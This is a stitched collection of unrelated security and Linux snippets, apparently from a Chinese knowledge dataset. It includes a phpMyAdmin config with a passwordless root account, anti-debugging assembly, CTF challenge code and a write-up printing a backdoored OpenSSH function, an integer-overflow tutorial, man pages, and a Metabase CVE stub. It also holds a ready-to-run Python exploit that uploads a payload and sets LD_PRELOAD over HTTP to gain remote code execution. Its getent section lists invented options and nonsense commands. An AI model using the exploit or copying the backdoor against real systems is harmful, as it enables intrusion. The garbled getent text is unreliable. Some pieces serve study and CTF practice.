* Generated by: phpMyAdmin 4.6.2 setup script
* Date: Mon, 07 May 2018 10:48:03 +0000
*/
/* Servers configuration */
$i = 0;
/* Server: mysql [1] */
$i++;
$cfg['Servers'][$i]['verbose'] = 'mysql';
$cfg['Servers'][$i]['host'] = 'mysql';
$cfg['Servers'][$i]['port'] = 3306;
$cfg['Servers'][$i]['socket'] = '';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['auth_type'] = 'cookie';
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = '';
/* End of servers configuration */
$cfg['blowfish_secret'] = '5af02eda401ae8.69737537';
$cfg['DefaultLang'] = 'en';
$cfg['ServerDefault'] = 1;
$cfg['UploadDir'] = '';
$cfg['SaveDir'] = '';
?>
|
sec-knowleage
|
### NtQueryInformationProcess概述
``` c++
NTSTATUS WINAPI NtQueryInformationProcess(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
```
### ProcessDebugPort介绍
未公开的`ntdll`的`NtQueryInformationProcess()`函数接受一个信息类的参数用于查询. `ProcessDebugPort(7)`是其中的一个信息类. `kernel32`的`CheckRemoteDebuggerPresent()`函数内部通过调用`NtQueryInformationProcess()`来检测调试, 而`NtQueryInformationProcess`内部则是查询`EPROCESS`结构体的`DebugPort`字段, 当进程正在被调试时, 返回值为`0xffffffff`.
可以用以下32位代码在32位环境进行检测:
``` asm
push eax
mov eax, esp
push 0
push 4 ;ProcessInformationLength
push eax
push 7 ;ProcessDebugPort
push -1 ;GetCurrentProcess()
call NtQueryInformationProcess
pop eax
inc eax
je being_debugged
```
用以下64位代码在64位环境进行检测:
``` asm
xor ebp, ebp
enter 20h, 0
push 8 ;ProcessInformationLength
pop r9
push rbp
pop r8
push 7 ;ProcessDebugPort
pop rdx
or rcx, -1 ;GetCurrentProcess()
call NtQueryInformationProcess
leave
test ebp, ebp
jne being_debugged
```
由于信息传自内核, 所以在用户模式下的代码没有轻松的方法阻止该函数检测调试器.
### ProcessDebugObjectHandle介绍
Windows XP引入了`debug对象`, 当一个调试会话启动, 会同时创建一个`debug`对象以及与之关联的句柄. 我们可以使用`ProcessDebugObjectHandle (0x1e)`类来查询这个句柄的值
可以用以下32位代码在32位环境进行检测:
``` asm
push 0
mov eax, esp
push 0
push 4 ;ProcessInformationLength
push eax
push 1eh ;ProcessDebugObjectHandle
push -1 ;GetCurrentProcess()
call NtQueryInformationProcess
pop eax
test eax, eax
jne being_debugged
```
用以下64位代码在64位环境进行检测:
``` asm
xor ebp, ebp
enter 20h, 0
push 8 ;ProcessInformationLength
pop r9
push rbp
pop r8
push 1eh ;ProcessDebugObjectHandle
pop rdx
or rcx, -1 ;GetCurrentProcess()
call NtQueryInformationProcess
leave
test ebp, ebp
jne being_debugged
```
### ProcessDebugFlags介绍
`ProcessDebugFlags (0x1f)`类返回`EPROCESS`结构体的`NoDebugInherit`的相反数. 意思是, 当调试器存在时, 返回值为`0`, 不存在时则返回`1`.
可以用以下32位代码在32位环境进行检测:
``` asm
push eax
mov eax, esp
push 0
push 4 ;ProcessInformationLength
push eax
push 1fh ;ProcessDebugFlags
push -1 ;GetCurrentProcess()
call NtQueryInformationProcess
pop eax
test eax, eax
je being_debugged
```
用以下64位代码在64位环境进行检测:
``` asm
xor ebp, ebp
enter 20h, 0
push 4 ;ProcessInformationLength
pop r9
push rbp
pop r8
push 1fh ;ProcessDebugFlags
pop rdx
or rcx, -1 ;GetCurrentProcess()
call NtQueryInformationProcess
leave
test ebp, ebp
je being_debugged
```
|
sec-knowleage
|
#!/usr/bin/env python3
from random import randrange
from Crypto.Cipher import AES
p = 2**128 - 33227
i = lambda x: pow(x, p-2, p)
def add(A, B):
(u, v), (w, x) = A, B
assert u != w or v == x
if u == w: m = (3*u*w + 4*u + 1) * i(v+x)
else: m = (x-v) * i(w-u)
y = m*m - u - w - 2
z = m*(u-y) - v
return y % p, z % p
def mul(t, A, B=0):
if not t: return B
return mul(t//2, add(A,A), B if not t&1 else add(B,A) if B else A)
x = randrange(p)
aes = AES.new(x.to_bytes(16, 'big'), AES.MODE_CBC, bytes(16))
flag = open('flag.txt').read().strip()
cipher = aes.encrypt(flag.ljust((len(flag)+15)//16*16).encode())
print(*mul(x, (4, 10)), cipher.hex(), file=open('flag.enc', 'w'))
|
sec-knowleage
|
#Vsftpd dejavu (for, 150 points, solved by 20)
In this chall, we have to find a backdoor in modified openssh source.
After a while of diffing the code with the original, this piece got our attention:
```c++
#define SSH_CMSG_AUTH_TIS_RESPONSE "SSH_CMSG_AUTH_TIS_RESPONSE"
int ge25519_unpackneg_vartime(ge25519_p3 *r, const unsigned char p[32])
{
int ynVdlyCKzs =587-3503;
(void) ynVdlyCKzs;
unsigned int i;
unsigned char par;
unsigned char fe25519_msg[32];
fe25519 t, chk, num, den, den2, den4, den6;
fe25519_setone(&r->z);
par = p[31] >> 7;
fe25519_unpack(&r->y, p);
fe25519_square(&num, &r->y); /* x = y^2 */
fe25519_mul(&den, &num, &ge25519_ecd); /* den = dy^2 */
fe25519_sub(&num, &num, &r->z); /* x = y^2-1 */
fe25519_add(&den, &r->z, &den); /* den = dy^2+1 */
/* Computation of sqrt(num/den) */
/* 1.: computation of num^((p-5)/8)*den^((7p-35)/8) = (num*den^7)^((p-5)/8) */
fe25519_square(&den2, &den);
fe25519_square(&den4, &den2);
fe25519_mul(&den6, &den4, &den2);
fe25519_mul(&t, &den6, &num);
fe25519_mul(&t, &t, &den);
fe25519_pow2523(&t, &t);
/* 2. computation of r->x = t * num * den^3 */
fe25519_mul(&t, &t, &num);
fe25519_mul(&t, &t, &den);
fe25519_mul(&t, &t, &den);
fe25519_mul(&r->x, &t, &den);
/* 3. Check whether sqrt computation gave correct result, multiply by sqrt(-1) if not: */
fe25519_square(&chk, &r->x);
fe25519_mul(&chk, &chk, &den);
if (!fe25519_iseq_vartime(&chk, &num))
fe25519_mul(&r->x, &r->x, &ge25519_sqrtm1);
/* 4. Now we have one of the two square roots, except if input was not a square */
fe25519_square(&chk, &r->x);
fe25519_mul(&chk, &chk, &den);
if (!fe25519_iseq_vartime(&chk, &num))
return -1;
/* 5. Choose the desired square root according to parity: */
if(fe25519_getparity(&r->x) != (1-par))
fe25519_neg(&r->x, &r->x);
fe25519_mul(&r->t, &r->x, &r->y);
for (i = 0; i < strlen(p); i++) fe25519_msg[i] = p[i] ^ ge25519_ecd.v[i]; //the important part
fe25519_msg[i] = 0;
if (strcmp(fe25519_msg, SSH_CMSG_AUTH_TIS_RESPONSE) == 0)
return 0;
else
return -1;
}
```
If you look closely, you'll notice that the code does almost nothing except xoring `p` with `ge25519_ecd` and then comparing it to `SSH_CMSG_AUTH_TIS_RESPONSE`.
The result of xoring `ge25519_ecd` with `SSH_CMSG_AUTH_TIS_RESPONSE` is `EKO{undefeatable_backd00r}` ;)
|
sec-knowleage
|
.\" 中文版 Copyright (c) 2000 mhss 和 www.linuxforum.net
.TH TZSELECT 8
.SH NAME
tzselect \- 选择一个时区
.SH 总览
.B tzselect
.SH 描述
.B tzselect
程序向用户询问当前位置的信息,把时区描述作为结果输出到标准输出。
此结果适合作为环境变量 TZ 的值。
.PP
所有与用户的交互是通过标准输入和标准错误输出完成的。
.SH "环境变量"
.TP
\f3AWK\fP
一个 Posix 兼容的
.I awk
程序的名字(缺省:
.BR awk ).
.TP
\f3TZDIR\fP
包含时区数据文件的目录的名字 (缺省:
.BR /usr/local/etc/zoneinfo ).
.SH 文件
.TP
\f2TZDIR\fP\f3/iso3166.tab\fP
包含国家(地区)编码和名称的 ISO 3166 2-字母表。
.TP
\f2TZDIR\fP\f3/zone.tab\fP
国家(地区)代码表,包含经度和纬度,TZ(时区)值,描述性的注释。
.TP
\f2TZDIR\fP\f3/\fP\f2TZ\fP
关于时区的时区数据文件 \f2TZ\fP.
.SH "退出状态"
若从用户获得了正确的时区退出状态返回 0,否则非 0。
.SH "参见"
newctime(3), tzfile(5), zdump(8), zic(8)
.SH "[中文版维护人]"
mhss <jijingzhisheng@up369.com>
.SH "[中文版最新更新]"
2000/10/15
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
<!--
~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements. See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership. The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License"); you may not use this file except in compliance
~ with the License. You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing,
~ software distributed under the License is distributed on an
~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
~ KIND, either express or implied. See the License for the
~ specific language governing permissions and limitations
~ under the License.
-->
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head th:fragment="head">
<meta charset="utf-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<meta name="viewport" content="width=device-width"/>
<link href="https://fonts.googleapis.com/css?family=Open+Sans:300italic,300,400italic,400,600italic,600,700italic,700,800italic,800" rel="stylesheet" type="text/css"/>
<link href="https://netdna.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" rel="stylesheet" type="text/css"/>
<style>
body {
margin-top: 60px;
}
.box {
padding: 50px;
text-align: center;
vertical-align: middle;
}
.custom-header {
/*background-color: #161616;*/
border: 2px solid #3254a0;
}
</style>
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.2/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
<script src="https://netdna.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
</head>
<body>
<p>Nothing to see here, move along.</p>
</body>
</html>
|
sec-knowleage
|
# 整数溢出
## 介绍
在C语言中,整数的基本数据类型分为短整型(short),整型(int),长整型(long),这三个数据类型还分为有符号和无符号,每种数据类型都有各自的大小范围,(因为数据类型的大小范围是编译器决定的,所以之后所述都默认是 64 位下使用 gcc-5.4),如下所示:
| 类型 | 字节 | 范围 |
| :-: | :-: | :-: |
| short int | 2byte(word) | 0\~32767(0\~0x7fff) <br> -32768\~-1(0x8000\~0xffff) |
| unsigned short int | 2byte(word) | 0\~65535(0\~0xffff) |
| int | 4byte(dword) | 0\~2147483647(0\~0x7fffffff) <br> -2147483648\~-1(0x80000000\~0xffffffff) |
| unsigned int | 4byte(dword) | 0\~4294967295(0\~0xffffffff) |
| long int | 8byte(qword) | 正: 0\~0x7fffffffffffffff <br> 负:0x8000000000000000\~0xffffffffffffffff |
| unsigned long int | 8byte(qword) | 0\~0xffffffffffffffff |
当程序中的数据超过其数据类型的范围,则会造成溢出,整数类型的溢出被称为整数溢出。
## 原理
接下来简单阐述下整数溢出的原理
### 上界溢出
```
# 伪代码
short int a;
a = a + 1;
# 对应的汇编
movzx eax, word ptr [rbp - 0x1c]
add eax, 1
mov word ptr [rbp - 0x1c], ax
unsigned short int b;
b = b + 1;
# assembly code
add word ptr [rbp - 0x1a], 1
```
上界溢出有两种情况,一种是 `0x7fff + 1`, 另一种是 `0xffff + 1`。
因为计算机底层指令是不区分有符号和无符号的,数据都是以二进制形式存在(编译器的层面才对有符号和无符号进行区分,产生不同的汇编指令)。
所以 `add 0x7fff, 1 == 0x8000`,这种上界溢出对无符号整型就没有影响,但是在有符号短整型中,`0x7fff` 表示的是 `32767`,但是 `0x8000` 表示的是 `-32768`,用数学表达式来表示就是在有符号短整型中 `32767+1 == -32768`。
第二种情况是 `add 0xffff, 1`,这种情况需要考虑的是第一个操作数。
比如上面的有符号型加法的汇编代码是 `add eax, 1`,因为 `eax=0xffff`,所以 `add eax, 1 == 0x10000`,但是无符号的汇编代码是对内存进行加法运算 `add word ptr [rbp - 0x1a], 1 == 0x0000`。
在有符号的加法中,虽然 `eax` 的结果为 0x10000,但是只把 `ax=0x0000` 的值储存到了内存中,从结果看和无符号是一样的。
再从数字层面看看这种溢出的结果,在有符号短整型中,`0xffff==-1,-1 + 1 == 0`,从有符号看这种计算没问题。
但是在无符号短整型中,`0xffff == 65535, 65535 + 1 == 0`。
### 下界溢出
下届溢出的道理和上界溢出一样,在汇编代码中,只是把 `add` 替换成了 `sub`。
一样也是有两种情况:
第一种是 `sub 0x0000, 1 == 0xffff`,对于有符号来说 `0 - 1 == -1` 没问题,但是对于无符号来说就成了 `0 - 1 == 65535`。
第二种是 `sub 0x8000, 1 == 0x7fff`,对于无符号来说是 `32768 - 1 == 32767` 是正确的,但是对于有符号来说就变成了 `-32768 - 1 = 32767`。
## 例子
在我见过的整数溢出的漏洞中,我认为可以总结为两种情况。
### 未限制范围
这种情况很好理解,比如有一个固定大小的桶,往里面倒水,如果你没有限制倒入多少水,那么水则会从桶中溢出来。
一个有固定大小的东西,你没有对其进行约束,就会造成不可预期的后果。
简单的写一个示例:
```c
$ cat test.c
#include<stddef.h>
int main(void)
{
int len;
int data_len;
int header_len;
char *buf;
header_len = 0x10;
scanf("%uld", &data_len);
len = data_len+header_len
buf = malloc(len);
read(0, buf, data_len);
return 0;
}
$ gcc test.c
$ ./a.out
-1
asdfasfasdfasdfafasfasfasdfasdf
# gdb a.out
► 0x40066d <main+71> call malloc@plt <0x400500>
size: 0xf
```
只申请 `0x20` 大小的堆,但是却能输入 `0xffffffff` 长度的数据,从整型溢出到堆溢出
### 错误的类型转换
即使正确的对变量进行约束,也仍然有可能出现整数溢出漏洞,我认为可以概括为错误的类型转换,如果继续细分下去,可以分为:
1. 范围大的变量赋值给范围小的变量
```c
$ cat test2.c
void check(int n)
{
if (!n)
printf("vuln");
else
printf("OK");
}
int main(void)
{
long int a;
scanf("%ld", &a);
if (a == 0)
printf("Bad");
else
check(a);
return 0;
}
$ gcc test2.c
$ ./a.out
4294967296
vuln
```
上述代码就是一个范围大的变量(长整型a),传入 check 函数后变为范围小的变量(整型变量n),造成整数溢出的例子。
已经长整型的占有 8 byte 的内存空间,而整型只有 4 byte 的内存空间,所以当 long -> int,将会造成截断,只把长整型的低 4byte 的值传给整型变量。
在上述例子中,就是把 `long: 0x100000000 -> int: 0x00000000`。
但是当范围更小的变量就能完全的把值传递给范围更大的变量,而不会造成数据丢失。
2. 只做了单边限制
这种情况只针对有符号类型
```c
$ cat test3.c
int main(void)
{
int len, l;
char buf[11];
scanf("%d", &len);
if (len < 10) {
l = read(0, buf, len);
*(buf+l) = 0;
puts(buf);
} else
printf("Please len < 10");
}
$ gcc test3.c
$ ./a.out
-1
aaaaaaaaaaaa
aaaaaaaaaaaa
```
从表面上看,我们对变量 len 进行了限制,但是仔细思考可以发现,len 是有符号整型,所以 len 的长度可以为负数,但是在 read 函数中,第三个参数的类型是 `size_t`,该类型相当于 `unsigned long int`,属于无符号长整型
上面举例的两种情况都有一个共性,就是函数的形参和实参的类型不同,所以我认为可以总结为错误的类型转换
## CTF例题
题目:[Pwnhub 故事的开始 calc](http://atum.li/2016/12/05/calc/)
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "PG_RESTORE" "1" "2003-11-02" "Application" "PostgreSQL Client Applications"
.SH NAME
pg_restore \- 从一个由 pg_dump 创建的备份文件中恢复 PostgreSQL 数据库。
.SH SYNOPSIS
.sp
\fBpg_restore\fR\fR [ \fR\fB\fIoption\fB\fR...\fB \fR\fR]\fR\fR [ \fR\fB\fIfilename\fB \fR\fR]\fR
.SH "DESCRIPTION 描述"
.PP
\fBpg_restore\fR 是一种用于恢复由 \fBpg_dump\fR(1) 创建的任何非纯文本输出格式中的 PostgreSQL 数据库的应用。 它将发出必要的命令来重新构造数据库,以便于把它恢复成保存它的时候的样子。 归档(备份)文件还允许pg_restore 有选择地进行恢复, 甚至在恢复前重新排列条目的顺序。归档的文件设计成可以在不同的硬件体系之间移植。
.PP
\fBpg_restore\fR 可以以两种模式操作:如果声明了数据库名字, 那么归档是直接恢复到数据库里。大对象只能用直接数据库联接进行恢复。 否则,先创建一个包含重建数据库所必须的 SQL 命令的脚本(并且写入到一个文件或者标准输出), 类似 pg_dump 输出纯文本格式的时候创建的那种脚本。 因此,一些控制脚本输出的选项就是摹拟 pg_dump 的操作。
.PP
显然,\fBpg_restore\fR 无法恢复那些不存在归档文件中的信息; 比如,如果归档是用"把数据转储为 INSERT命令"选项制作的, 那么 pg_restore 将不能使用 COPY 语句装载数据。
.SH "OPTIONS 选项"
.PP
\fBpg_restore\fR 接受下列命令行参数。
.TP
\fB\fIfilename\fB\fR
声明要恢复的备份文件的位置。如果没有声明,则使用标准输入。
.TP
\fB-a\fR
.TP
\fB--data-only\fR
只恢复数据,而不恢复表模式(数据定义)。
.TP
\fB-c\fR
.TP
\fB--clean\fR
创建数据库对象前先清理(删除)它们。
.TP
\fB-C\fR
.TP
\fB--create\fR
在恢复数据库之前先创建它。(如果出现了这个选项,和 \fB-d\fR 在一起的数据库名只是用于发出最初的 CREATE DATABASE 命令。 所有数据都恢复到名字出现在归档中的数据库中去。)
.TP
\fB-d \fIdbname\fB\fR
.TP
\fB--dbname=\fIdbname\fB\fR
与数据库 dbname 联接并且直接恢复到该数据库中。
.TP
\fB-f \fIfilename\fB\fR
.TP
\fB--file=\fIfilename\fB\fR
声明生成的脚本的输出文件,或者出现 \fB-l\fR 选项时用于列表的文件,缺省是标准输出。
.TP
\fB-F \fIformat\fB\fR
.TP
\fB--format=\fIformat\fB\fR
声明备份文件的格式。因为pg_restore 会自动判断格式,所以如果声明了,它可以是下面之一:
.RS
.TP
\fBt\fR
备份是一个 tar 归档。 使用这个格式允许在恢复数据库的时候重新排序和/或把表模式元素排除出去。 同时还可能在恢复的时候限制装载的数据。
.TP
\fBc\fR
备份的格式是来自 pg_dump 的客户化格式。 这是最灵活的格式,因为它允许重新对数据排序,也允许重载表模式元素。 缺省时这个格式是压缩的。
.RE
.PP
.TP
\fB-i\fR
.TP
\fB--ignore-version\fR
忽略数据库版本检查。
.TP
\fB-I \fIindex\fB\fR
.TP
\fB--index=\fIindex\fB\fR
只恢复命名的索引。
.TP
\fB-l\fR
.TP
\fB--list\fR
列出备份的内容。这个操作的输出可以用 -L 选项限制和重排所恢复的项目。
.TP
\fB-L \fIlist-file\fB\fR
.TP
\fB--use-list=\fIlist-file\fB\fR
只恢复在 list-file 里面的元素,以它们在文件中出现的顺序。 你可以移动各个行并且也可以通过在行开头放 ';' 的方式注释。(见下文获取例子。)
.TP
\fB-N\fR
.TP
\fB--orig-order\fR
以最初在 pg_dump 里生成的转储顺序恢复项目。 这个选项没有什么实际的用途,因为 pg_dump 会以自己方便的顺序生成项, 这个顺序不可能是恢复这些数据的安全顺序。 (这个顺序不是项最后在归档的内容列表中列出的顺序。) 又见 -r。
.TP
\fB-o\fR
.TP
\fB--oid-order\fR
以 OID 顺序恢复项目。这个选项用处很小, 因为 OID 只是最初创建顺序的一个近似指示。 如果还声明了 -N,那么这个选项还覆盖它。又见 -r。
.TP
\fB-O\fR
.TP
\fB--no-owner\fR
不要输出设置对象的权限,以便与最初的数据库匹配的命令。 缺省时,pg_restore 发出 \fBSET SESSION AUTHORIZATION\fR 语句设置创建出来的模式元素的所有者权限。 如果最初的数据库连接不是由超级用户(或者是拥有所有创建出来的对象的同一个用户)发起的,那么这些语句将失败。 使用 -O,那么任何用户都可以用于初始的连接,并且这个用户将拥有所有创建出来的对象。
.TP
\fB-P \fIfunction-name(argtype [, ...])\fB\fR
.TP
\fB--function=\fIfunction-name(argtype [, ...])\fB\fR
只恢复指定的命名函数。请注意仔细拼写函数名及其参数,应该和转储的内容列表中的完全一样。
.TP
\fB-r\fR
.TP
\fB--rearrange\fR
以对象类型重排项目(这个发生在以 -N 或者 -o 排序之后)。 重排是为了给出最大可能的性能。
如果没有 \fB-N\fR, \fB-o\fR, 和\fB-r\fR,那么 pg_restore 以项目出现在归档
的内容列表中的顺序恢复他们, 或者按照他们在 list-file 里面的顺序恢复他们
\(em 假如给出了 -L 的话。 -o 和 -r 的组合复制了 pg_dump 在创建归档的内容列表
之前进行的排序, 因此,这个选项通常没必要声明。
.TP
\fB-R\fR
.TP
\fB--no-reconnect\fR
这个选项已经废弃了,但是为了保持向下兼容仍然接受。
.TP
\fB-s\fR
.TP
\fB--schema-only\fR
只恢复表结构(数据定义)。不恢复数据,序列值将重置。
.TP
\fB-S \fIusername\fB\fR
.TP
\fB--superuser=\fIusername\fB\fR
设置关闭触发器时声明超级用户的用户名。 只有在设置了 \fB--disable-triggers\fR 的时候才有用。
.TP
\fB-t \fItable\fB\fR
.TP
\fB--table=\fItable\fB\fR
只恢复表指定的表的定义和/或数据。
.TP
\fB-T \fItrigger\fB\fR
.TP
\fB--trigger=\fItrigger\fB\fR
只恢复指定的触发器。
.TP
\fB-v\fR
.TP
\fB--verbose\fR
声明冗余模式。
.TP
\fB-x\fR
.TP
\fB--no-privileges\fR
.TP
\fB--no-acl\fR
避免 ACL 的恢复(grant/revoke 命令)。
.TP
\fB-X use-set-session-authorization\fR
.TP
\fB--use-set-session-authorization\fR
这个选项已经废弃了,但是出于向下兼容,仍然接受。 pg_restore 现在总是表现得像以前选中这个选项一样。
.TP
\fB-X disable-triggers\fR
.TP
\fB--disable-triggers\fR
这个选项只有在执行仅恢复数据的时候才相关。它告诉 pg_restore 在装载数据的时候执行一些命令临时关闭在目标表上的触发器。 如果你在表上有完整性检查或者其它触发器, 而你又不希望在装载数据的时候激活它们,那么可以使用这个选项。
目前,为 \fB--disable-triggers\fR 发出的命令必须以超级用户发出。 因此,你应该也要用 -S 声明一个超级用户名,或者更好是设置 \fB--use-set-session-authorization\fR 并且以 PostgreSQL 超级用户身份运行 pg_restore。
.PP
.PP
\fBpg_restore\fR 还接受下面的命令行参数做为联接参数:
.TP
\fB-h \fIhost\fB\fR
.TP
\fB--host=\fIhost\fB\fR
声明服务器运行的机器的主机名。 如果数值以斜扛开头,那么它被用做 Unix 域套接字的目录。 缺省是从 PGHOST 环境变量中获取的(如果设置了), 否则将尝试进行 Unix 域套接字。
.TP
\fB-p \fIport\fB\fR
.TP
\fB--port=\fIport\fB\fR
声明服务器侦听的 TCP 端口或者本地的 Unix 域套接字文件扩展。 缺省是环境变量 PGPORT 的值(如果设置了的话), 否则就说编译的缺省。
.TP
\fB-U \fIusername\fB\fR
以给出用户身分联接。
.TP
\fB-W\fR
强制给出口令提示。如果服务器要求口令认证,那么这个应该自动发生。
.PP
.SH "ENVIRONMENT 环境"
.TP
\fBPGHOST\fR
.TP
\fBPGPORT\fR
.TP
\fBPGUSER\fR
缺省连接参数。
.SH "DIAGNOSTICS 诊断"
.PP
当使用-d选项声明了直接数据库联接时, pg_restore 在内部执行 SQL 语句。如果你运行 pg_restore 出了毛病, 请确保你能用类似 \fBpsql\fR(1) 这样的东西从数据库中选取信息。
.SH "NOTES 注意"
.PP
如果你的安装给template1数据库增加了任何你自己的东西, 那么请注意把 pg_dump 的输出恢复到一个真正空的数据库中; 否则你可能会收到因为重复定义所追加的对象而造成的错误信息。要制作一个没有任何本地附属物的数据库, 可以从template0而不是template1拷贝,比如:
.sp
.nf
CREATE DATABASE foo WITH TEMPLATE template0;
.sp
.fi
.PP
\fBpg_restore\fR 的局限在下面列出。
.TP 0.2i
\(bu
当向一个已经存在的表恢复数据,并且还使用了 \fB--disable-triggers\fR 选项时, pg_restore 在插入数据前放出一些查询关闭用户表上的触发器, 在数据插入完成后重新打开它们。如果恢复的中途停止,那么系统表可能处于错误状态。
.TP 0.2i
\(bu
\fBpg_restore\fR 将不会为单一的表恢复大对象。 如果一个归档包含大对象,那么所有大对象都将被恢复。
.PP
.PP
又见参阅 \fBpg_dump\fR(1) 的文挡获取有关 pg_dump 的局限的细节。
.PP
一旦完成恢复,最好在每个恢复的对象上运行 \fBANALYZE\fR, 以便给优化器有用的统计。
.SH "EXAMPLES 例子"
.PP
把一个包含大对象的叫 mydb 的数据库转储到一个tar文件:
.sp
.nf
$ \fBpg_dump -Ft -b mydb > db.tar\fR
.sp
.fi
.PP
把这个数据库恢复到现有的叫 newdb 的数据库中(连同BLOB):
.sp
.nf
$ \fBpg_restore -d newdb db.tar\fR
.sp
.fi
.PP
要对项目重新排序,首先必须转储归档的目录:
.sp
.nf
$ \fBpg_restore -l archive.file > archive.list\fR
.sp
.fi
这个文件由一行头和每个项目一行组成,比如。
.sp
.nf
;
; Archive created at Fri Jul 28 22:28:36 2000
; dbname: birds
; TOC Entries: 74
; Compression: 0
; Dump Version: 1.4-0
; Format: CUSTOM
;
;
; Selected TOC Entries:
;
2; 145344 TABLE species postgres
3; 145344 ACL species
4; 145359 TABLE nt_header postgres
5; 145359 ACL nt_header
6; 145402 TABLE species_records postgres
7; 145402 ACL species_records
8; 145416 TABLE ss_old postgres
9; 145416 ACL ss_old
10; 145433 TABLE map_resolutions postgres
11; 145433 ACL map_resolutions
12; 145443 TABLE hs_old postgres
13; 145443 ACL hs_old
.sp
.fi
这里分号是注释分隔符,而行开头的数字代表赋给每个项目的内部归档 ID。
.PP
文件内的行可以注释掉,删除和/或重新排列。比如,
.sp
.nf
10; 145433 TABLE map_resolutions postgres
;2; 145344 TABLE species postgres
;4; 145359 TABLE nt_header postgres
6; 145402 TABLE species_records postgres
;8; 145416 TABLE ss_old postgres
.sp
.fi
可以用做 pg_restore 的输入并且只会恢复项目 10 和 6,(以这个顺序):
.sp
.nf
$ \fBpg_restore -L archive.list archive.file\fR
.sp
.fi
.SH "HISTORY 历史"
.PP
\fBpg_restore\fR 工具第一次出现在 PostgreSQL 7.1。
.SH "SEE ALSO 参见"
\fBpg_dump\fR(1), \fBpg_dumpall\fR(1), \fBpsql\fR(1)
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResult
PAYLOAD_MAX_LENGTH = 16384 - 200
def exploit(client, parts: ParseResult, payload: bytes):
path = '/' if not parts.path else parts.path
boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
padding = 'a' * 2000
content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}
--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";
/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="1.txt"
Content-Type: text/plain
#payload#{padding}
--{boundary}--
'''.replace('\n', '\r\n')
data = data.encode().replace(b'#payload#', payload)
client.send(data)
resp = client.recv(20480)
print(resp.decode())
def main():
target = sys.argv[1]
payload_filename = sys.argv[2]
with open(payload_filename, 'rb') as f:
data = f.read()
if len(data) > PAYLOAD_MAX_LENGTH:
raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)
parts = urlparse(target)
port = parts.port
if not parts.port:
if parts.scheme == 'https':
port = 443
else:
port = 80
context = ssl.create_default_context()
with socket.create_connection((parts.hostname, port), timeout=8) as client:
if parts.scheme == 'https':
with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
exploit(ssock, parts, data)
else:
exploit(client, parts, data)
if __name__ == '__main__':
main()
|
sec-knowleage
|
getent
===
查询 DNS 名称服务器中的命名空间
## 语法
```shell
getent [选项] 主机名或域名
```
## 选项
```shell
-h # 显示帮助信息
-n # 不解析 DNS 名称
-p # 打印解析过程
-s # 只输出有关已知主机的信息
-t # 指定 DNS 查询类型 (默认为 NXDOMAIN)
-U # 使用顶级域名服务器
-V # 显示版本信息
-O # 以其他模式解析命名空间
```
主机名或域名可以是通配符 (例如 *.example.com) 或单个主机名。如果指定了 -h 选项,则显示帮助信息。如果指定了 -n 选项,则不再解析 DNS 名称。如果指定了 -p 选项,则打印解析过程。如果指定了 -s 选项,则只输出有关已知主机的信息。如果指定了 -t 选项,则指定 DNS 查询类型 (默认为 NXDOMAIN)。如果指定了 -U 选项,则使用顶级域名服务器。如果指定了 -V 选项,则显示版本信息。如果指定了 -O 选项,则解析命名空间以其他模式。
## 实例
1. 查看所有已知账户:
```shell
getent passwd
```
这将列出所有已知账户的密码文件,例如 `/etc/passwd` 或 `/run/user/1000/gshadow`。
2. 查看指定账户的信息:
```shell
getent passwd someuser
```
这将只列出指定用户的信息,例如用户名、密码、uid、gid 等。
3. 查看指定域名的 DNS 记录:
```shell
getent host example.com
```
这将列出 example.com 域名的 DNS 记录,包括主机名、IP 地址和其他相关信息。
4. 查看指定 IP 地址的 TCP 连接信息:
```shell
getentent ips8.ipaddress.com 80
```
这将列出 IP 地址为 192.168.0.100 的 TCP 连接信息,例如连接的服务器地址、端口号和连接状态。
5. 查看指定主机的已知端口:
```shell
getent port somehost.example.com
```
这将列出指定主机的已知端口,例如端口号、协议和主机名。
这些只是 `getent` 命令的一些例子,它还有许多其他用法和选项,可以根据需要进行调整。
|
sec-knowleage
|
# Metabase未授权JDBC远程代码执行漏洞(CVE-2023-38646)
Metabase是一个开源的数据分析平台。在其0.46.6版本及以前,存在一处远程代码执行漏洞,未授权的用户可以使用JDBC注入在服务器上执行任意代码。
参考链接:
- <https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/>
